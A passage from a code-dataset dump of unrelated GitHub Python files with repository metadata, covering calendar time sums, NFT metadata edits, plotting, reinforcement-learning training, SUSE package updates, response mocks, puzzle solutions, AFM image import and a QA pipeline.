myfile.close()\n\n\ndef TimeCal(items={}, keysum=[]):\n #keysum = ['#sumday', '#sum']\n sumtime = int(0)\n for event in items:\n try:\n content = event['description'].encode('utf-8')\n if any(x in content.split() for x in keysum):\n\n end = dateutil.parser.parse(event['end']['dateTime'])\n start = dateutil.parser.parse(event['start']['dateTime'])\n cal = end - start\n mins = int(cal.total_seconds() / 60)\n sumtime += mins\n\n except exceptions.KeyError:\n pass\n return sumtime\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"nbortolotti/sumday","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"17801815297","text":"import json\nimport os\n#Build의 jSonFile 디렉토리 내 ��일 개수 변수에 저장\ncount_JSON = os.listdir(\"./json/\")\ndescription = \"ShiningNeko is a unique and exclusive collection of 1,000 handmade NFTs, featuring a fanciful cat character that exudes elegance and sophistication. Discover the wonders of this enchanting world today.\"\n\nfor i in count_JSON:\n try :\n with open(\"./json/\" + i, \"r\", encoding=\"utf8\", errors='ignore') as json_file:\n json_data = json.load(json_file)\n json_data[\"description\"] = description\n with open(\"./json/\" + i, 'w', encoding=\"utf8\", errors='ignore') as outfile:\n json.dump(json_data, outfile, indent=4)\n except:\n print(i)","repo_name":"MetatoryTeam/ShiningNeko","sub_path":"changeDescription.py","file_name":"changeDescription.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"3216084011","text":"# -*- coding: utf-8 -*-\n\nfrom os.path import expanduser, join\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef create_bar_chart(k, v, width=0.5, grid=True, config=None):\n \"\"\"Create bar chart img\n Input:\n k -- labels for the xaxis,\n v -- heights of the bars,\n width -- width(s) of the bars (default: 0.5),\n grid -- turn the axes grids on or off,\n config -- ConfigObj dict.\n\n \"\"\"\n\n N = len(k)\n x = np.arange(N) # The x coordinates of the left sides of the bars\n # Create a figure with a set of subplots already made\n fig = plt.subplots()\n # Make a bar plot\n plt.bar(left=x, height=v, width=width)\n # Set the x axis label of the current axis\n plt.xlabel(\"time\")\n # Set the y axis label of the current axis\n plt.ylabel(\"money\")\n # Set the x-limits of the current tick locations and labels\n plt.xticks(x+width/2, k)\n # Set a title of the current axes\n plt.title('Ruslan Korniichuk')\n # Turn the axes grids on or off\n plt.grid(grid)\n # Save the current figure\n if config != None:\n output_dir_abs_path = expanduser(config[\"output_dir_abs_path\"])\n bar_chart_png_file_name = config[\"bar_chart_png_file_name\"]\n png_abs_path = join(output_dir_abs_path, bar_chart_png_file_name)\n else:\n png_abs_path = \"cash.png\"\n plt.savefig(png_abs_path)\n","repo_name":"korniichuk/cash","sub_path":"cash/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"10222258870","text":"import random\r\nimport numpy as np\r\nimport torch\r\nimport torch.multiprocessing as mp\r\nimport yaml\r\n\r\nfrom actor import Actor\r\nfrom learner import Learner\r\nfrom replay_buffer import ReplayBuffer\r\nfrom environment import create_env\r\nfrom r2d2 import R2D2\r\n\r\ntorch.manual_seed(0)\r\nnp.random.seed(0)\r\nrandom.seed(0)\r\ntorch.set_num_threads(1)\r\n\r\n\r\ndef get_epsilon(\r\n actor_id: int,\r\n num_actors: int,\r\n config\r\n):\r\n base_eps = config[\"base_eps\"]\r\n alpha = config[\"alpha\"]\r\n exponent = 1 + actor_id / (num_actors - 1) * alpha\r\n return base_eps**exponent\r\n\r\n\r\ndef train(config):\r\n num_actors = config[\"num_actors\"]\r\n model = R2D2(create_env(config[\"game_name\"]).action_space.n)\r\n model.share_memory()\r\n sample_queue_list = [mp.Queue() for _ in range(num_actors)]\r\n batch_queue = mp.Queue(8)\r\n priority_queue = mp.Queue(8)\r\n\r\n buffer = ReplayBuffer(sample_queue_list, batch_queue, priority_queue, config)\r\n learner = Learner(batch_queue, priority_queue, model, config)\r\n actors = [\r\n Actor(get_epsilon(i, num_actors, config), model, sample_queue_list[i], config) for i in range(num_actors)\r\n ]\r\n\r\n actor_procs = [mp.Process(target=actor.run) for actor in actors]\r\n for proc in actor_procs:\r\n proc.start()\r\n\r\n buffer_proc = mp.Process(target=buffer.run)\r\n buffer_proc.start()\r\n\r\n learner.run()\r\n\r\n buffer_proc.join()\r\n\r\n for proc in actor_procs:\r\n proc.terminate()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n with open('config.yml', 'r') as f:\r\n config = yaml.load(f, Loader=yaml.SafeLoader)\r\n \r\n train(config)\r\n","repo_name":"CENG502-Projects/CENG502-Spring2023","sub_path":"ErtenliOzdemir/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"} +{"seq_id":"33049467138","text":"#!/usr/bin/env python3\n#\n# do_package_update\n#\n# (c) 2016 SUSE Linux GmbH, Germany.\n# GNU Public License. No warranty. No Support (only from SUSE Consulting\n#\n# Version: 2016-11-22\n#\n# Created by: SUSE Michael Brookhuis\n#\n# This script will update the server with the latest patches available in its assigned channels. \n#\n# Releases:\n# 2016-01-06 M.Brookhuis - initial release.\n# 2016-11-22 M.Brookhuis - before deleting action chain, check if it is present.\n# 2017-04-24 M.Brookhuis - Add salt intergration and add more logging \n# 2017-04-25 M.Brookhuis - add package schedule refresh to prevent spmig to fail\n# 2018-05-22 M.Brookhuis - Change log file location\n# 2019-04-11 M.Brookhuis - Migrated to python3\n# - added proper logging\n# - changed config to yaml\n# \n# return codes\n# 0 = job successfully finished\n# 1 = host not found\n# 2 = error on SUSE Manager\n# 3 = job failed\n#\n#\n#\n#\n\n\"\"\"\nThis script will update the configuration of the given server\n\"\"\"\nimport sys\nsys.path.append('/etc/pnw')\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport xmlrpc.client\nimport datetime\nimport smtools\nimport time\n\n__smt = None\n\n\ndef check_progress(actionid):\n \"\"\"\n Check progress of event in SUSE Manager\n \"\"\"\n progress = [{'timestamp': 'init'}]\n while progress:\n try:\n progress = smt.client.schedule.listInProgressSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('progress failed')\n return 2\n smt.log_info(\"in progress\")\n time.sleep(15)\n time.sleep(15)\n try:\n failed = smt.client.schedule.listFailedSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('Unable get failed status')\n return 2\n if failed:\n smt.log_error(\"action failed\")\n return 3\n try:\n completed = smt.client.schedule.listCompletedSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('Unable get completed status')\n return 2\n if completed:\n smt.log_info(\"action completed\")\n return 0\n\n\ndef do_package_update(server_id):\n \"\"\"\n Update packages\n \"\"\"\n smt.log_info(\"Updating the server\")\n ai = apply_updates_regular(server_id)\n if ai == 0 or ai == 2 or ai == 3:\n result = ai\n else:\n result = check_progress(ai)\n if result == 0:\n try:\n ai = smt.client.system.schedulePackageRefresh(smt.session, server_id, datetime.datetime.now())\n except xmlrpc.client.Fault as err:\n smt.log_info(\"unable to schedule package refresh for server. Error: {}\".format(err))\n return 2\n smt.log_info(\"Package refresh running for system\")\n time.sleep(120)\n result = check_progress(ai)\n return result\n\n\ndef apply_updates_regular(sd):\n \"\"\"\n Update packages\n \"\"\"\n try:\n alluprpms = smt.client.system.listLatestUpgradablePackages(smt.session, sd)\n except xmlrpc.client.Fault:\n smt.log_info('Unable to get a list of updatable rpms {}'.format(smt.hostname))\n return 2\n rpms = [] # this array will contain the IDs of the packeges to install\n for x in alluprpms:\n rpms.append(x.get('to_package_id'))\n try:\n actionid = smt.client.system.schedulePackageInstall(smt.session, sd, rpms, datetime.datetime.now())\n except xmlrpc.client.Fault:\n smt.log_info('Unable to add package to chain')\n return 2\n time.sleep(15)\n return actionid\n\n\ndef main():\n \"\"\"\n Main function\n \"\"\"\n global smt\n parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, description=('''\\\n Usage:\n do_package_update.py \n\n '''))\n parser.add_argument('-s', '--server', help='name of the server to patched (without domain). Required')\n parser.add_argument('--version', action='version', version='%(prog)s 1.0.1, April 11, 2019')\n args = parser.parse_args()\n if not args.server:\n perr = \"The option --server is required\"\n smt = smtools.SMTools(\"nonamed\", \"do_package_update\")\n smt.set_hostname(\"nonamed\")\n smt.fatal_error(perr)\n else:\n smt = smtools.SMTools(args.server.lower(), \"do_package_update\")\n smt.suman_login()\n smt.set_hostname(args.server.lower())\n smt.log_info(\"######################################################\")\n smt.log_info(\"Start\")\n smt.log_info(\"######################################################\")\n do_package_update(smt.get_server_id())\n smt.close_program()\n\n\nif __name__ == \"__main__\":\n SystemExit(main())\n","repo_name":"uyuni-project/contrib","sub_path":"uyuni-tools/do_package_update.py","file_name":"do_package_update.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"28"} +{"seq_id":"72271540876","text":"from __future__ import annotations\n\nfrom datetime import timedelta\n\nimport requests\n\nfrom .. import models\n\n\nclass Response(requests.Response, models.Response):\n def __init__(\n self,\n status_code: int | None = None,\n headers: dict[str, str] | None = None,\n content: str | None = None,\n content_type: str | None = None,\n encoding: str | None = None,\n elapsed: timedelta | None = None,\n _data: models.ResponseData | None = None,\n ):\n \"\"\"A `requests.Response` object, useful when mocking/patching HTTP calls.\n\n Args:\n status_code:\n headers:\n content:\n content_type:\n encoding:\n elapsed:\n\n Examples:\n *Common imports*\n >>> from mockish import Mock, patch\n >>> from mockish.requests import Response\n >>> import requests\n\n - `mockish.requests.Response`\n >>> resp: requests.Response = Response(content='hello world')\n >>> resp.content\n b'hello world'\n >>> resp.status_code\n 200\n\n - `mockish.requests.Response.from_dict(...)`\n >>> resp: requests.Response = Response.from_dict(\n ... {'hello': 'world'},\n ... status_code=201\n ... )\n >>> resp.json()\n {'hello': 'world'}\n >>> resp.status_code\n 201\n >>> resp.headers\n {'Content-Type': 'application/json', 'Content-Length': '18'}\n\n - Mocking a `requests` session:\n >>> session = Mock(spec_set=requests.Session, **{\n ... 'get': Mock(\n ... return_once=Response.from_dict({'hello': 'world'})\n ... ),\n ... 'post': Mock(\n ... return_once=Response.from_dict(\n ... {'hello': 'world'},\n ... status_code=201\n ... ),\n ... ),\n ... })\n >>> session.get('https://www.fresh2.dev')\n \n >>> session.post('https://www.fresh2.dev')\n \n\n - Complete example with patching:\n >>> mock_resp = Response.from_dict({'hello': 'world'})\n >>> with patch.object(\n ... requests,\n ... 'get',\n ... Mock(return_once=mock_resp)\n ... ):\n ... resp: requests.Response = requests.get('https://www.fresh2.dev')\n ... requests.get.assert_called_once()\n >>> resp\n \n >>> resp.json()\n {'hello': 'world'}\n \"\"\"\n\n super().__init__()\n\n if not _data:\n _data = super()._prepare_response_data(\n status_code=status_code,\n headers=headers,\n content=content,\n content_type=content_type,\n encoding=encoding,\n elapsed=elapsed,\n )\n\n self.status_code = _data.status_code\n\n self.headers = requests.structures.CaseInsensitiveDict(_data.headers)\n\n if _data.content:\n self._content = _data.content\n\n if _data.elapsed:\n self.elapsed = _data.elapsed\n","repo_name":"fresh2dev/mockish","sub_path":"src/mockish/requests/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"31084317226","text":"import re\nf = open('input.txt', 'r')\ncontent = f.read().strip().split('\\n\\n')\nf.close()\n\ncontent = [pp.replace('\\n', ' ') for pp in content]\n\ndef checkByr(input):\n return 1920 <= int(input) <= 2002\n\ndef checkIyr(input):\n return 2010 <= int(input) <= 2020\n\ndef checkEyr(input):\n return 2020 <= int(input) <= 2030\n\ndef checkHgt(input):\n hgtCM = re.findall(r'(\\d+)(?:cm)', input )\n if hgtCM:\n if 150 <= int(hgtCM[0]) <= 193:\n return True\n else:\n return False\n hgtIN = re.findall(r'(\\d+)(?:in)', input )\n if hgtIN:\n if 59 <= int(hgtIN[0]) <= 76:\n return True\n return False\n\ndef checkHcl(input):\n hcl = re.findall(r'(?:#)([a-f0-9]+)', input)\n if not hcl:\n return False\n if len(hcl[0]) == 6:\n return True\n return False\n\ndef checkEcl(input):\n if any(input in s for s in ['amb' 'blu' 'brn' 'gry' 'grn' 'hzl' 'oth']):\n return True\n return False\n\ndef checkPid(input):\n nums = re.search(r'^[0-9]+$', input)\n if nums is None:\n return False\n return len(nums.group(0)) == 9\n\nrequiredFields = [('byr', checkByr), ('iyr', checkIyr),('eyr', checkEyr),('hgt', checkHgt),('hcl', checkHcl),('ecl', checkEcl), ('pid', checkPid)]\n\ndef checkFields(pp):\n for field in requiredFields:\n key = field[0] + ':'\n if key not in pp:\n return False\n match = re.findall(r'(?:'+key+')(\\S+)', pp)\n func = field[1]\n if func(match[0]) is False:\n return False\n return True\n\ncount = 0\nfor pp in content:\n if checkFields(pp):\n count += 1\ncheckFields(content[0])\nprint(count)\n# print(checkHcl('#f6brna'))\n","repo_name":"eparkhurst/AdventOfCode2020","sub_path":"day4/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"35756656239","text":"import itertools\nfrom copy import deepcopy\nfrom config.config import get_cfg\nfrom qa.matching.semantic.bert_sim import BertSim\nfrom qa.knowledge.graph_template import Template\nfrom qa.knowledge.path_rank import PathRank\nfrom qa.knowledge.entity_link import EntityLink\nfrom qa.tools import setup_logger\n\nlogger = setup_logger()\n\n\nclass KBQA:\n def __init__(self, cfg) -> None:\n self.cfg = cfg\n self.el = EntityLink(self.cfg)\n self.temp = Template(self.cfg)\n self.pr = PathRank(self.cfg)\n self.ens = BertSim(self.cfg, self.cfg.ENTITYLINK.ENTITY_NORM_MODEL)\n\n def duplientity_removal(self, result):\n dupliate_entitys = result['cypher_result']['answer'].split('\\t')\n if len(dupliate_entitys) != 1:\n entity_data = list(itertools.combinations(dupliate_entitys, 2))\n entity_query = []\n for data in entity_data:\n entity_query.append(deepcopy([data[0], data[1]]))\n scores = self.ens.predict_sim(entity_query)\n scores_index = [\n index if scores[index] > 0.9 else -1\n for index in range(len(scores))\n ]\n scores_index = list(set(scores_index))\n if -1 in scores_index:\n scores_index.remove(-1)\n remove_entity = [\n entity_query[index][1]\n if len(entity_query[index][0]) > len(entity_query[index][1])\n else entity_query[index][0] for index in scores_index\n ]\n for entity in remove_entity:\n if entity in dupliate_entitys:\n dupliate_entitys.remove(entity)\n result['cypher_result']['answer'] = '\\t'.join(dupliate_entitys)\n return result\n\n def get_answer(self, query):\n logger.info(\"开始抽取实体...\")\n mention_list = self.el.get_mentions(query)\n if len(mention_list) == 0:\n result = {}\n return result\n logger.info(\"开始生成候选实体...\")\n candiate_entitys = self.el.entity_link2(query, mention_list)\n logger.info(\"开始neo4j模版查询...\")\n cypher_result = self.temp.get_graph_template(candiate_entitys)\n # print(cypher_result[:4])\n if len(cypher_result) == 0:\n result = {}\n return result\n logger.info(\"开始查询结果排序...\")\n result = self.pr.predict_path_rank(query, cypher_result)\n logger.info(\"查询完成!\")\n result = self.duplientity_removal(result)\n logger.info(\"查询结果归一化完成!\")\n return result\n\n\nif __name__ == '__main__':\n cfg = get_cfg()\n kbqa = KBQA(cfg)\n queries = [\n \"狗乱吃东西怎么办\", \"边牧偶尔尿血怎么办\", \"猫咪经常拉肚子怎么办\", \"哈士奇拆家怎么办\", \"英短不吃东西怎么办?\",\n \"拉布拉多和金毛谁聪明\", \"折耳怀孕不吃东西怎么办?\", \"阿提桑诺曼底短腿犬\", \"阿尔卑斯达切斯勃拉克犬\"\n ]\n for query in queries:\n print(query, kbqa.get_answer(query))\n","repo_name":"leon2milan/petpedia","sub_path":"qa/knowledge/kbqa.py","file_name":"kbqa.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"15611318783","text":"# 내 코드\ndef solution(n, words):\n answer = [0, 0]\n\n letter = ''\n words_set = []\n for i in words :\n\n if answer[0] in [0, n] :\n answer[0] = 1\n answer[1] += 1\n else :\n answer[0] += 1\n\n if ((len(letter) == 0) or (letter[-1] == i[0])) and (i not in words_set) :\n letter = i\n words_set.append(i)\n\n else :\n break\n else :\n answer = [0, 0]\n\n return answer\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n# 다른 코드\ndef solution(n, words):\n for p in range(1, len(words)):\n if words[p][0] != words[p-1][-1] or words[p] in words[:p]: return [(p%n)+1, (p//n)+1]\n else:\n return [0,0]\n","repo_name":"WOONGSONVI/Algorithms","sub_path":"programmers/Python/level 2/영어 끝말잇기.py","file_name":"영어 끝말잇기.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"35363657914","text":"'''\nGiven two integers dividend and divisor , divide two integers without using multiplication, division and mod operator.\nReturn the quotient after dividing dividend by divisor . The integer division should truncate toward zero.\n'''\n\n\n# the inner loop set the divisor with the double size of itself and compare the result with the dividend\n# until the result just is not more than the dividend, record the times of the double size operations.\n# let the dividend equals to substract the result from itself, then goes the inner loop again until\n# the dividend less than the divisor. \nfrom sympy import div, true\n\n\ndef divide_two_integers(dividend, divisor):\n if dividend < divisor:\n return 0\n quotient = 0\n while dividend > divisor:\n sub_quotient = 1\n temp_divisor = divisor \n while (temp_divisor<<1) <= dividend:\n temp_divisor <<= 1\n sub_quotient <<= 1\n quotient += sub_quotient\n dividend -= temp_divisor\n return quotient\n\n\nif __name__ == '__main__':\n print(divide_two_integers(16,6))\n\n\n\n\n","repo_name":"JEFFTIMES/Py-Pra","sub_path":"data-structure-and-algorithm/leecode/29_divide_two_integers.py","file_name":"29_divide_two_integers.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"24409020358","text":"'''\nfunction : iterate through the array and add each element to the sum variable\nreturn int (sum)\n'''\ndef sumArray(array):\n # variable to store sum of array\n sum = 0\n for i in array:\n sum += i\n return sum\n\n'''\nfunction : print array elements with plus sign (+)\nreturn string\n'''\ndef arrayPlusSign(array):\n string_array = map(str, array)\n\n plus_sign = ' + '\n plus_sign = plus_sign.join(string_array)\n return plus_sign\n\n'''\nfunction : print a straight line\nreturn string\n'''\ndef printLine():\n return(f'----------------------------------------')\n\n# initiate array (empty list)\nprint(f'// SUM OF ARRAY //\\n{printLine()}')\narr = []\n# ask user input for array elements\ncount = int(input('Element count : '))\nfor i in range(0, count):\n elements = int(input(f'Input element [{i}] : '))\n arr.append(elements)\n\nprint(f'{printLine()}')\n# get sum of array\nsum_of_array = sumArray(arr)\n# calculate length of array\narray_length = len(arr)\n\n# print length and sum of array\nprint(f'Array\\t: {arr}\\nLength\\t: {array_length}\\nSum\\t: {arrayPlusSign(arr)}\\nSum of array : {sum_of_array}')\n","repo_name":"dydrmr5/learnPython","sub_path":"otherCodes/sum_of_array.py","file_name":"sum_of_array.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"2984410451","text":"import os\r\ncount = 0\r\nlist = None\r\n#prints attributes of linked list passed\r\ndef printf(list):\r\n temp=list\r\n while temp!=None:\r\n print(temp.name,end=' ')\r\n print('& size = ', end='')\r\n print(\"%.2f\" % temp.size, end=' MB')\r\n print(' & path = ', end='')\r\n print(temp.path)\r\n temp=temp.next\r\n#creates a node of linked list\r\nclass objct():\r\n \"Stores name , size and path\"\r\n def __init__(self,name=None, size=None , path=None, next=None ):\r\n self.name = name\r\n self.size = size\r\n self.path = path\r\n self.next = next\r\n#inserts new node in linked list without removing any node\r\ndef insertwithoutr(new,list):\r\n global count\r\n temp=list\r\n prev=list\r\n if temp.size>new.size:\r\n new.next=temp\r\n list=new\r\n count+=1\r\n\r\n return list\r\n while temp.size=new.size:\r\n new.next=temp\r\n prev.next=new\r\n count+=1\r\n return list\r\n elif temp.next==None:\r\n\r\n temp.next=new\r\n count+=1\r\n return list\r\n#inserts new node in linked list and removes first node to maintain constant size\r\ndef insertwithr(new,list):\r\n temp=list\r\n prev=list\r\n while temp.size=new.size:\r\n new.next=temp\r\n prev.next=new\r\n new=list.next\r\n\r\n elif temp.next==None:\r\n temp.next=new\r\n new=list.next\r\n return new\r\n#recursive function to take out top 10 files by going through subfolders\r\ndef top(path ):\r\n global list\r\n global count\r\n for file in os.listdir(path):\r\n\r\n arr= file.split(\".\")\r\n if len(arr) == 1:\r\n top(path + '/' + file)\r\n elif len(arr)>1:\r\n new=objct(file,(os.stat(path+'/'+file).st_size)/(1024*1024),path+'/'+file,)\r\n if list==None:\r\n list=new\r\n count+=1\r\n elif count<10:\r\n list=insertwithoutr(new,list)\r\n\r\n elif list.size used to calculate the resolution (x_length/x_pixels)\n pixel_size - float\n Size of a pixel in nanometres\n \n \"\"\"\n \n # Select path manually using tkinter\n if file_path is None:\n file_path = askopenfilename(title='Select AFM image ASCII file', filetypes=((\"ASCII files\", \"*.asc\"),))\n \n # Select image name from file path by \"/\" splitting\n file_name = file_path.split('/')[-1]\n \n # Initialize image\n img = []\n \n # Read each line, discriminate between header line and height value line by checking if the\n # content of the first entry of the line is a digit or not\n with open(file_path, 'r') as f:\n for line in f:\n try:\n first_entry = line.strip().split()[0][-5:]\n meas_par = line.split()[1]\n\n if first_entry.isdigit() or first_entry[-5:-3] == 'e-' or first_entry[-4:-2] == 'e-':\n line = line.strip()\n floats = [float(x) for x in line.split()]\n img.append(np.asarray(floats))\n\n # Find the required measurement information\n elif meas_par == 'x-pixels':\n x_pixels = float(line.split()[-1])\n\n # Find the required measurement information\n elif meas_par == 'y-pixels':\n y_pixels = float(line.split()[-1])\n \n elif meas_par == 'x-length':\n x_length = float(line.split()[-1])\n\n except IndexError:\n pass\n\n if 'x_pixels' not in locals():\n x_pixels = 'unknown'\n print('The amount of x-pixels was not found in the header')\n\n if 'y_pixels' not in locals():\n y_pixels = 'unknown'\n print('The amount of y-pixels was not found in the header')\n\n if 'x_length' not in locals():\n x_length = 'unknown'\n print('The size of the image was not found in the header')\n\n image = np.asarray(img)\n\n img_meta_data = {'file_name': file_name,\n 'file_path': file_path,\n 'x_pixels': x_pixels,\n 'x_length': x_length,\n 'y_pixels': y_pixels,\n 'pixel_size': x_length/x_pixels}\n\n return np.asarray(image), img_meta_data\n\n#%% Older variants not used in the new code.\n\ndef from_ascii_to_img(file_list, normalize=False):\n '''This function converts an ascii file to an ndarray.'''\n img_list = []\n for file in file_list:\n image = export_asci_file(file)\n if normalize:\n image -= np.percentile(image, 33)\n image /= np.percentile(image, 99.9)\n img_list.append(image)\n return img_list\n\n\ndef export_asci_file(file_path):\n \"\"\"Return data from .asc files as float64 ndarray\"\"\"\n with open(file_path, 'r') as f:\n row_index = 0\n count = 0\n for line in f:\n if 'Start of Data' in line:\n row_index = count\n break\n count += 1\n data = np.loadtxt(file_path, skiprows=row_index)\n return data\n\n","repo_name":"LeoKonzett/molecule-detection","sub_path":"Analysis Pipeline/Image processing/import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"33309124687","text":"from django.urls import path, re_path\nfrom api import views\n\nurlpatterns = [\n path('products/', views.product_list),\n path('products//', views.product_detail),\n path('categories/', views.category_list),\n path('categories//', views.category_detail),\n path('categories//products', views.category_products)\n]","repo_name":"aknurkappar/web-development-2023","sub_path":"Lab8/shop_back/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"18296153906","text":"import Chemins\nfrom Utils.UTILS_Traduction import _\nimport wx\nfrom Ctrl import CTRL_Bouton_image\nfrom Utils import UTILS_Config\nfrom Dlg import DLG_Financement\nimport webbrowser\n\n\ndef Aide(page=None):\n \"\"\" Ouverture de l'aide dans le navigateur \"\"\"\n # None -> Renvoie vers le sommaire\n # \"\" -> Rubrique non disponible\n \n # Temporaire :\n## dlg = wx.MessageDialog(None, _(u\"Le manuel de l'utilisateur sera disponible à partir de septembre 2013.\\n\\nPour obtenir de l'aide, vous pouvez déjà :\\n\\n > Télécharger le guide de démarrage rapide\\n > Consulter le forum d'entraide\\n > Visionner les tutoriels vidéos\"), _(u\"Aide indisponible\"), wx.OK | wx.ICON_INFORMATION)\n## dlg.ShowModal()\n## dlg.Destroy()\n## return\n \n \n # Récupération des codes de la licence\n identifiant = UTILS_Config.GetParametre(\"enregistrement_identifiant\", defaut=None)\n code = UTILS_Config.GetParametre(\"enregistrement_code\", defaut=None)\n \n # Redirection si aucune licence\n if identifiant == None and code == None :\n dlg = DLG_Financement.Dialog(None, code=\"documentation\")\n dlg.ShowModal() \n dlg.Destroy()\n return\n\n # Si aucune aide existe, propose de renvoyer vers le sommaire\n if page == \"\" :\n dlg = wx.MessageDialog(None, _(u\"Cette rubrique d'aide n'est pas encore disponible.\\n\\nSouhaitez-vous être redirigé vers le sommaire de l'aide ?\"), _(u\"Pas de rubrique disponible\"), wx.YES_NO|wx.YES_DEFAULT|wx.CANCEL|wx.ICON_QUESTION)\n reponse = dlg.ShowModal() \n dlg.Destroy()\n if reponse != wx.ID_YES :\n return\n\n # Création de l'URL\n listeOptions = []\n \n if identifiant != None and code != None :\n listeOptions.append(\"identifiant=%s\" % identifiant)\n listeOptions.append(\"code=%s\" % code)\n \n if page != None and page != \"\" :\n listeOptions.append(\"page=%s.php\" % page)\n \n url = \"https://www.noethys.com/aide/html/identification.php\"\n if len(listeOptions) > 0 :\n url += \"?\" + \"&\".join(listeOptions)\n \n # Ouverture du navigateur\n webbrowser.open(url)\n\n \nif __name__ == \"__main__\":\n app = wx.App(0)\n #wx.InitAllImageHandlers()\n Aide() #(\"Licence\")\n\n app.MainLoop()\n","repo_name":"Noethys/Noethys","sub_path":"noethys/Utils/UTILS_Aide.py","file_name":"UTILS_Aide.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"fr","doc_type":"code","stars":28,"dataset":"github-code","pt":"28"} +{"seq_id":"6672833375","text":"import ControllerSimulator\n\nmyController = ControllerSimulator.Controller()\nmyController.send(None)\n\nwhile True:\n myCntrl = list(myController)\n print (myController)\n print(myCntrl)\n for i in myCntrl:\n print(\"%.5f\\t%d\\t%d\\t%d\" % myCntrl[0], myCntrl[1], myCntrl[2], myCntrl[3])\n","repo_name":"balepari/pytest","sub_path":"TestSim01.py","file_name":"TestSim01.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"35713578579","text":"\nfrom spyre import server\nfrom widget4 import totalEXRxns,createEXmodel,createReverseEXmodel, addEXMets2SpeciesEX, replaceRxns,replaceMets,createCommunityModel,allPairComModels,createAllPairs,createSubsetPairs\nimport os, os.path\n\nimport cherrypy\n#cherrypy.config.update({\"response.timeout\":1000000,'log.access_file': '../supportFiles/logs/logAccess_file.txt','log.error_file': '../supportFiles/logs/logError_file.txt','log.screen':True})\n\nclass Widget4(server.App):\n title = 'Widget 4'\n \n inputs = [\n {\"type\": \"text\",\n \"label\": \"In this widget we are going we're just going to create 2-species community metabolic models based on a file that lists the pairs of species that should go together. These are either the ones listed in file with correlations between pairs of species, or, if you don't provide a file with correlations between pairs of species, all possible unique combinations between the bacteria in your list of species.

    Do you want to just run the widget with the default example files?\",\n \"key\": 'text14',\n \"value\": \"Yes or No\"},\n\n { \"type\":\"text\",\n \"key\":\"text15\",\n \"label\" : \" Tell me what the path to the file that has a list of species to pair. If you don't have this and just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter path to file listing the species pairs\"},\n\n { \"type\":\"text\",\n \"key\":\"text28\",\n \"label\" : \" We can also create a list of pairs based on level of correlation between the OTUs in the analysis and the similarity between these OTUs and the genomeID they were associated with in widget 2. Tell me which file has the information about the correlations between pairs of OTUs. Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter the path to the correlations file here\"},\n\n { \"type\":\"text\",\n \"key\":\"text29\",\n \"label\" : \" Tell me which file has the information about the percent similarity between the OTUs analyzed and the genome they were matched with (one of the outputs of Widget 2). Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA.\",\n \"value\":\"Enter the path to the percent similarity file here\"},\n\n\n { \"type\":\"text\",\n \"key\":\"text16\",\n \"label\" : \" Please tell me the path to the folder containing the metabolic models you want to use. \",\n \"value\":\"Enter path to your model folder\"},\n\n {\"type\": \"text\",\n \"key\": 'text17',\n \"label\": \"Tell me which folder you would like to put models of the 2-species communities\",\n \"value\": \"Enter the path to your communities folder\"},\n ]\n \n outputs = [{\"type\":\"html\",\n \"id\":\"some_html\",\n \"control_id\":\"run_widget\",\n \"tab\":\"Results\",\n \"on_page_load\": False}]\n \n controls = [{\"type\":\"button\",\n \"label\":\"Run Widget 4\",\n \"id\":\"run_widget\"}]\n \n tabs = [\"Results\"]\n \n def getCustomCSS(self):\n ROOT_DIR = os.path.dirname(os.path.realpath('static/custom_styleMMinte.css'))\n with open(ROOT_DIR + '/custom_styleMMinte.css') as style:\n return 